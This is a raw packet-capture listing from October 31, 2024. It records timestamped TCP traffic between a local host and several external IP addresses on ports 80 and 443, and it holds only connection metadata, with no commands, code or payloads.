Oct 31, 2024 20:52:43.087563992 CET	443	49780	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:43.090783119 CET	49780	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:43.092241049 CET	49780	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:43.092255116 CET	443	49780	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:43.133177996 CET	49781	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:43.138041973 CET	80	49781	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:43.141294956 CET	49781	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:43.141473055 CET	49781	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:43.146730900 CET	80	49781	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:43.366702080 CET	49776	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:43.367038012 CET	49782	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:43.372298002 CET	80	49776	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:43.372358084 CET	49776	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:43.372411013 CET	80	49782	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:43.372483015 CET	49782	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:43.373116970 CET	49782	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:43.378304958 CET	80	49782	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:43.513653040 CET	443	49779	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:43.513720989 CET	443	49779	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:43.513771057 CET	49779	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:43.514040947 CET	49779	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:43.514062881 CET	443	49779	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:43.835378885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:43.835448027 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:43.871872902 CET	49783	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:43.871925116 CET	443	49783	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:43.872162104 CET	49783	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:43.873783112 CET	49783	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:43.873796940 CET	443	49783	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:43.954124928 CET	443	49780	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:43.954204082 CET	49780	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:43.955128908 CET	443	49780	142.250.184.206	192.168.2.4
Oct 31, 2024 20:52:43.955178022 CET	49780	443	192.168.2.4	142.250.184.206
Oct 31, 2024 20:52:44.440804005 CET	80	49782	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:44.440870047 CET	49782	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:44.463691950 CET	80	49781	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:44.464402914 CET	49781	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:44.467396021 CET	49781	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:44.472374916 CET	80	49781	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:44.512200117 CET	443	49783	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:44.512281895 CET	49783	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:44.513818979 CET	49783	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:44.513828039 CET	443	49783	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:44.514204979 CET	443	49783	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:44.515696049 CET	49783	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:44.515826941 CET	49783	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:44.515846014 CET	443	49783	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:44.684914112 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.690022945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.690048933 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.690061092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.690073013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.690084934 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.690098047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.690099955 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.690140009 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.690140009 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.690170050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.690186024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.690196991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.690237045 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.716377974 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.721543074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.721580982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.721595049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.721612930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.721657038 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.721724033 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.726749897 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.726767063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.726779938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.726790905 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.726804018 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.726830959 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.731657028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.731714010 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.731753111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.731821060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.731867075 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.736605883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.736663103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.736716986 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.736949921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.737015963 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.737062931 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.742491007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.742537022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.742548943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.742559910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.742583990 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.742643118 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.748068094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.748106003 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.748116970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.748135090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.748150110 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.748177052 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.753846884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.753891945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.753901958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.753942013 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.753956079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.754004955 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.759413004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.759428978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.759440899 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.759452105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.759485006 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.759485006 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.764406919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.764435053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.764446020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.764456987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.764488935 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.764545918 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.769263029 CET	80	49781	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:44.769345999 CET	49781	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:44.769350052 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.769361973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.769388914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.769433975 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.774128914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.774180889 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.775125980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.775151014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.775325060 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.779846907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.779879093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.780155897 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.780205011 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.780206919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.780484915 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.785068035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.785130978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.785181999 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.785295963 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.785337925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.785384893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.790270090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.790298939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.790309906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.790344000 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.790404081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.790453911 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.795264959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.795306921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.795341015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.795351982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.795404911 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.800319910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.800339937 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.800354958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.800367117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.800386906 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.800438881 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.805241108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.805294991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.805305004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.805319071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.805354118 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.805398941 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.810444117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.810461998 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.810475111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.810487986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.810523033 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.810554981 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.815429926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.815473080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.815485001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.815501928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.815529108 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.815556049 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.820694923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.820714951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.820771933 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.821057081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.821111917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.821156979 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.825725079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.825788021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.825895071 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.825994015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.826006889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.826049089 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.830820084 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.830832958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.830872059 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.830908060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.830920935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.830965042 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.835792065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.835812092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.835855961 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.835926056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.835944891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.836009026 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.840898037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.840961933 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.840974092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.840986013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.841017962 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.841051102 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.846076012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.846174955 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.846185923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.846198082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.846227884 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.846261024 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.851569891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.851624012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.851636887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.851663113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.851666927 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.851712942 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.856548071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.856583118 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.856631041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.856637955 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.856698036 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.856741905 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.861562967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.861618042 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.861670017 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.861865997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.861886978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.861937046 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.866461039 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.866498947 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.866662979 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.866691113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.866712093 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.866740942 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.871709108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.871758938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.871809006 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.871953011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.872020960 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.872065067 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.876692057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.876779079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.876837969 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.876871109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.876975060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.877123117 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.881921053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.881933928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.881998062 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.882127047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.882213116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.882261992 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.886840105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.886910915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.887006044 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.887041092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.887110949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.887150049 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.891962051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.891999006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.892010927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.892045021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.892050028 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.892085075 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897034883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897064924 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897079945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897114992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897125006 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897128105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897157907 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897206068 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897217989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897228956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897274971 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897274971 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897341967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897355080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897373915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897387028 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897413969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897425890 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897443056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897454023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897459030 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897495031 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897504091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897515059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897525072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897536993 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897548914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897556067 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897578001 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897597075 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897597075 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897609949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897622108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897633076 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897644043 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897650957 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897656918 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897670031 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897674084 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897701979 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897708893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897716045 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897730112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.897753000 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.897769928 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898004055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898037910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898056030 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898068905 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898086071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898087978 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898101091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898108006 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898114920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898128986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898159981 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898195982 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898199081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898211956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898224115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898236990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898248911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898250103 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898276091 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898332119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898350000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898361921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898374081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898382902 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898386002 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898396969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898408890 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898426056 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898426056 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898463964 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:44.898468971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:44.898480892 CET	80	49766	185.215.113.16	192.168.2.4
